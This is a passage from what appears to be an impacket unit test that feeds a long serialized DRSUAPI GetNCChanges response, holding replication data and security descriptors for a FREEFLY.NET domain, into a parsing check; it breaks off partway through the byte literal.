self.assertEqual(len(getNCChangesResponse), len(output))\n\n    def test_4(self):\n        #<class 'impacket.dcerpc.v5.drsuapi.DRSGetNCChangesResponse'>\n        getNCChangesResponse = b'\\x06\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\'\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa4\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x10\\x00\\x02\\x00\\x03\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x14\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x18\\x00\\x02\\x00\\x05\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x1c\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x08\\x00\\x00\\x00 \\x00\\x02\\x00\\x07\\x00\\x00\\x00\\x08\\x00\\x00\\x00$\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\x00\\x00(\\x00\\x02\\x00\\t\\x00\\x00\\x00\\x08\\x00\\x00\\x00,\\x00\\x02\\x00\\n\\x00\\x00\\x00\\x08\\x00\\x00\\x000\\x00\\x02\\x00\\x13\\x00\\x00\\x00\\x08\\x00\\x00\\x004\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x08\\x00\\x00\\x008\\x00\\x02\\x00\\x15\\x00\\x00\\x00\\t\\x00\\x00\\x00<\\x00\\x02\\x00\\x16\\x00\\x00\\x00\\t\\x00\\x00\\x00@\\x00\\x02\\x00\\x17\\x00\\x00\\x00\\n\\x00\\x00\\x00D\\x00\\x02\\x00\\x18\\x00\\x00\\x00\\x02\\x00\\x00\\x00H\\x00\\x02\\x00\\x19\\x00\\x00\\x00\\x02\\x00\\x00\\x00L\\x00\\x02\\x00\\x1a\\x00\\x00\\x00\\x02\\x00\\x00\\x00P\\x00\\x02\\x00\\x0b\\x00\\x00\\x00\\n\\x00\\x00\\x00T\\x00\\x02\\x00\\x0c\\x00\\x00\\x00\\t\\x00\\x00\\x00X\\x00\\x02\\x00\\r\\x00\\x00\\x00\\n\\x00\\x00\\x00\\\\\\x00\\x02\\x00\\x0e\\x00\\x00\\x00\\t\\x00\\x00\\x00`\\x00\\x02\\x00\\x0f\\x00\\x00\\x00\\n\\x00\\x00\\x00d\\x00\\x02\\x00\\x10\\x00\\x00\\x00\\t\\x00\\x00\\x00h\\x00\\x02\\x00\\x11\\x00\\x00\\x00\\t\\x00\\x00\\x00l\\x00\\x02\\x00\\x12\\x00\\x00\\x00\\n\\x00\\x00\\x00p\\x00\\x02\\x00\\x1b\\x00\\x00\\x00\\t\\x00\\x00\\x00t\\x00\\x02\\x00\\x1c\\x00\\x00\\x00\\t\\x00\\x00\\x00x\\x00\\x02\\x00\\x1d\\x00\\x00\\x00\\x08\\x00\\x00\\x00|\\x00\\x02\\x00\\x1e\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x80\\x00\\x02\\x00\\x1f\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x84\\x00\\x02\\x00 \\x00\\x00\\x00\\t\\x00\\x00\\x00\\x88\\x00\\x02\\x00!\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x8c\\x00\\x02\\x00\"\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x90\\x00\\x02\\x00#\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x94\\x00\\x02\\x00$\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x98\\x00\\x02\\x00%\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x9c\\x00\\x02\\x00&\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\xa0\\x00\\x02\\x00\\x02\\x00\\x00\\x00U\\x04\\x00\\x00\\x02\\x00\\x00\\x00U\\x06\\x00\\x00\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x02\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x03\\x08\\x00\\x00\\x00`\\x86H\\x01e\\x02\\x02\\x01\\x08\\x00\\x00\\x00`\\x86H\\x01e\\x02\\x02\\x03\\x08\\x00\\x00\\x00`\\x86H\\x01e\\x02\\x01\\x05\\x08\\x00\\x00\\x00`\\x86H\\x01e\\x02\\x01\\x04\\x02\\x00\\x00\\x00U\\x05\\x00\\x00\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x05\\x08\\x00\\x00\\x00\\t\\x92&\\x89\\x93\\xf2,d\\x08\\x00\\x00\\x00`\\x86H\\x01\\x86\\xf8B\\x03\\t\\x00\\x00\\x00\\t\\x92&\\x89\\x93\\xf2,d\\x01\\x00\\x00\\x00\\t\\x00\\x00\\x00`\\x86H\\x01\\x86\\xf8B\\x03\\x01\\x00\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x05\\xb6X\\x00\\x00\\x02\\x00\\x00\\x00U\\x15\\x00\\x00\\x02\\x00\\x00\\x00U\\x12\\x00\\x00\\x02\\x00\\x00\\x00U\\x14\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x82\\x04\\x00\\x00\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x058\\x00\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x82\\x06\\x00\\x00\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x059\\x00\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x82\\x07\\x00\\x00\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x05:\\x00\\x00\\x00\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x05I\\x00\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x821\\x00\\x00\\t\\x00\\x00\\x00+\\x06\\x01\\x04\\x01\\x8b:ew\\x00\\x00\\x00\\t\\x00\\x00\\x00`\\x86H\\x01\\x86\\xf8B\\x03\\x02\\x00\\x00\\x00\\x08\\x00\\x00\\x00+\\x06\\x01\\x04\\x01\\x81z\\x01\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\r\\x01\\t\\t\\x00\\x00\\x00\\t\\x92&\\x89\\x93\\xf2,d\\x04\\x00\\x00\\x00\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\x17\\x00\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\x12\\x01\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\x12\\x02\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\r\\x03\\x00\\x00\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\r\\x04\\x00\\x00\\x06\\x00\\x00\\x00+\\x06\\x01\\x01\\x01\\x01\\x00\\x00\\x06\\x00\\x00\\x00+\\x06\\x01\\x01\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\xa8\\x00\\x02\\x00\\x01\\x00\\x00\\x00%\\x00\\x00\\x00\\xac\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf8\\x01\\x02\\x00\\x12\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\xbb\\xd9xM\\x8c\\xa3lI\\xb5\\xd3a\\xde\\x92\\xcb\\xaa\\x0c\\x01\\x04\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00%\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xb0\\x00\\x02\\x00\\x01\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\xc0\\x00\\x02\\x00\\x02\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\xc8\\x00\\x02\\x00J\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\xd0\\x00\\x02\\x00\\x19\\x01\\x02\\x00\\x01\\x00\\x00\\x00\\xd8\\x00\\x02\\x00\\x01\\x00\\t\\x00\\x01\\x00\\x00\\x00\\xe0\\x00\\x02\\x00\\x1a\\x00\\t\\x00\\x01\\x00\\x00\\x00\\xe8\\x00\\x02\\x00\\'\\x00\\t\\x00\\x01\\x00\\x00\\x00\\xf0\\x00\\x02\\x00<\\x00\\t\\x00\\x01\\x00\\x00\\x00\\xf8\\x00\\x02\\x00=\\x00\\t\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x02\\x00I\\x00\\t\\x00\\x01\\x00\\x00\\x00\\x08\\x01\\x02\\x00J\\x00\\t\\x00\\x01\\x00\\x00\\x00\\x10\\x01\\x02\\x00N\\x00\\t\\x00\\x01\\x00\\x00\\x00\\x18\\x01\\x02\\x00O\\x00\\t\\x00\\x01\\x00\\x00\\x00 \\x01\\x02\\x00Q\\x00\\t\\x00\\x01\\x00\\x00\\x00(\\x01\\x02\\x00X\\x00\\t\\x00\\x01\\x00\\x00\\x000\\x01\\x02\\x00]\\x00\\t\\x00\\x01\\x00\\x00\\x008\\x01\\x02\\x00_\\x00\\t\\x00\\x01\\x00\\x00\\x00@\\x01\\x02\\x00\\x92\\x00\\t\\x00\\x01\\x00\\x00\\x00H\\x01\\x02\\x00\\x97\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9b\\x00\\t\\x00\\x01\\x00\\x00\\x00P\\x01\\x02\\x00\\x9e\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\x00\\t\\x00\\x01\\x00\\x00\\x00X\\x01\\x02\\x00e\\x01\\t\\x00\\x01\\x00\\x00\\x00`\\x01\\x02\\x00p\\x01\\t\\x00\\x01\\x00\\x00\\x00h\\x01\\x02\\x00q\\x01\\t\\x00\\x01\\x00\\x00\\x00p\\x01\\x02\\x00w\\x01\\t\\x00\\x01\\x00\\x00\\x00x\\x01\\x02\\x00j\\x02\\t\\x00\\x0b\\x00\\x00\\x00\\x80\\x01\\x02\\x00\\x0e\\x03\\t\\x00\\x01\\x00\\x00\\x00\\xb0\\x01\\x02\\x00d\\x03\\t\\x00\\x01\\x00\\x00\\x00\\xb8\\x01\\x02\\x00{\\x03\\t\\x00\\x01\\x00\\x00\\x00\\xc0\\x01\\x02\\x00O\\x05\\t\\x00\\x01\\x00\\x00\\x00\\xc8\\x01\\x02\\x00\\x83\\x05\\t\\x00\\x01\\x00\\x00\\x00\\xd0\\x01\\x02\\x00\\xb3\\x05\\t\\x00\\x01\\x00\\x00\\x00\\xd8\\x01\\x02\\x00\\xfc\\x06\\t\\x00\\x01\\x00\\x00\\x00\\xe0\\x01\\x02\\x00\\xfd\\x06\\t\\x00\\x01\\x00\\x00\\x00\\xe8\\x01\\x02\\x00\\xfe\\x06\\t\\x00\\x01\\x00\\x00\\x00\\xf0\\x01\\x02\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xb4\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\xb8\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\xbc\\x00\\x02\\x00\\x04\\x00\\x00\\x00C\\x00\\n\\x00\\x04\\x00\\x00\\x00B\\x00\\n\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xc4\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\xcc\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00(\\x00\\x00\\x00\\xd4\\x00\\x02\\x00(\\x00\\x00\\x00\\x01\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x01\\x00\\x00\\x00\\xf4\\x08\\x00\\x00\\xdc\\x00\\x02\\x00\\xf4\\x08\\x00\\x00\\x01\\x00\\x14\\x80\\xd4\\x08\\x00\\x00\\xe4\\x08\\x00\\x00\\x14\\x00\\x00\\x00\\xdc\\x00\\x00\\x00\\x04\\x00\\xc8\\x00\\x05\\x00\\x00\\x00\\x02@\\x14\\x00 \\x00\\x0c\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x02@\\x18\\x00\\x00\\x01\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x02@$\\x00\\x00\\x01\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x01\\x02\\x00\\x00\\x07B8\\x00 \\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xbe;\\x0e\\xf3\\xf0\\x9f\\xd1\\x11\\xb6\\x03\\x00\\x00\\xf8\\x03g\\xc1\\xa5z\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x07B8\\x00 \\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xbf;\\x0e\\xf3\\xf0\\x9f\\xd1\\x11\\xb6\\x03\\x00\\x00\\xf8\\x03g\\xc1\\xa5z\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x04\\x00\\xf8\\x07.\\x00\\x00\\x00\\x05\\x008\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\xf2\\x01\\x00\\x00\\x00\\x00\\x14\\x00\\x10\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x05\\x00(\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\x00(\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xab\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\x00(\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xac\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\x00,\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x05\\x00,\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xab\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x05\\x00,\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xac\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x00\\x00\\x14\\x00\\x94\\x00\\x02\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00\\x00\\x00$\\x00\\xbd\\x01\\x0e\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x00\\x02\\x00\\x00\\x00\\x02\\x18\\x00\\xbd\\x01\\x0f\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x00\\x00\\x14\\x00\\xff\\x01\\x0f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00\\x00\\x02$\\x00\\xff\\x01\\x0f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x07\\x02\\x00\\x00\\x00\\x02\\x18\\x00\\x04\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xf8\\x88p\\x03\\xe1\\n\\xd2\\x11\\xb4\"\\x00\\xa0\\xc9h\\xf99\\xbaz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00B/\\xbaY\\xa2y\\xd0\\x11\\x90 \\x00\\xc0O\\xc2\\xd3\\xcf\\xbaz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00@\\xc2\\n\\xbc\\xa9y\\xd0\\x11\\x90 \\x00\\xc0O\\xc2\\xd4\\xcf\\xbaz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00B\\x16L\\xc0 \\xd0\\x11\\xa7h\\x00\\xaa\\x00n\\x05)\\xbaz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x10  _\\xa5y\\xd0\\x11\\x90 \\x00\\xc0O\\xc2\\xd4\\xcf\\xbaz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\x00,\\x00\\x10\\x00\\x00\\x00\\x01\\x00\\x00\\x00`s@\\xc7\\xbf \\xd0\\x11\\xa7h\\x00\\xaa\\x00n\\x05)\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n,\\x00\\x94\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x9cz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x00\\x00\\x18\\x00\\x10\\x00\\x02\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n,\\x00\\x94\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\xbaz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x00\\x00\\x14\\x00\\x94\\x00\\x02\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xf8\\x88p\\x03\\xe1\\n\\xd2\\x11\\xb4\"\\x00\\xa0\\xc9h\\xf99\\x14\\xcc(H7\\x14\\xbcE\\x9b\\x07\\xado\\x01^_(\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00B/\\xbaY\\xa2y\\xd0\\x11\\x90 \\x00\\xc0O\\xc2\\xd3\\xcf\\x14\\xcc(H7\\x14\\xbcE\\x9b\\x07\\xado\\x01^_(\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00@\\xc2\\n\\xbc\\xa9y\\xd0\\x11\\x90 \\x00\\xc0O\\xc2\\xd4\\xcf\\x14\\xcc(H7\\x14\\xbcE\\x9b\\x07\\xado\\x01^_(\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00B\\x16L\\xc0 \\xd0\\x11\\xa7h\\x00\\xaa\\x00n\\x05)\\x14\\xcc(H7\\x14\\xbcE\\x9b\\x07\\xado\\x01^_(\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n<\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x10  _\\xa5y\\xd0\\x11\\x90 \\x00\\xc0O\\xc2\\xd4\\xcf\\x14\\xcc(H7\\x14\\xbcE\\x9b\\x07\\xado\\x01^_(\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\n,\\x00\\x94\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x14\\xcc(H7\\x14\\xbcE\\x9b\\x07\\xado\\x01^_(\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\x00,\\x00\\x10\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xd0\\x9f\\x11\\xb8\\xf6\\x04bG\\xabzI\\x86\\xc7k?\\x9a\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00*\\x02\\x00\\x00\\x05\\x00(\\x00\\x10\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xd0\\x9f\\x11\\xb8\\xf6\\x04bG\\xabzI\\x86\\xc7k?\\x9a\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00\\x05\\n8\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00m\\x9e\\xc6\\xb7\\xc7,\\xd2\\x11\\x85N\\x00\\xa0\\xc9\\x83\\xf6\\x08\\xbaz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\n8\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00m\\x9e\\xc6\\xb7\\xc7,\\xd2\\x11\\x85N\\x00\\xa0\\xc9\\x83\\xf6\\x08\\x9cz\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\n8\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00m\\x9e\\xc6\\xb7\\xc7,\\xd2\\x11\\x85N\\x00\\xa0\\xc9\\x83\\xf6\\x08\\x86z\\x96\\xbf\\xe6\\r\\xd0\\x11\\xa2\\x85\\x00\\xaa\\x000I\\xe2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\x008\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xad\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x04\\x02\\x00\\x00\\x05\\x00(\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00v[\\xe9\\x89MDbL\\x99\\x1a\\x0f\\xac\\xbe\\xdad\\x0c\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\t\\x00\\x00\\x00\\x05\\x00,\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xad\\xf61\\x11\\x07\\x9c\\xd1\\x11\\xf7\\x9f\\x00\\xc0O\\xc2\\xdc\\xd2\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x05\\x00,\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00v[\\xe9\\x89MDbL\\x99\\x1a\\x0f\\xac\\xbe\\xdad\\x0c\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00\\x05\\x00,\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xc9m\\xa3\\xe2\\x17\\xae\\xc3G\\xb5\\x8b\\xbe4\\xc5[\\xa63\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 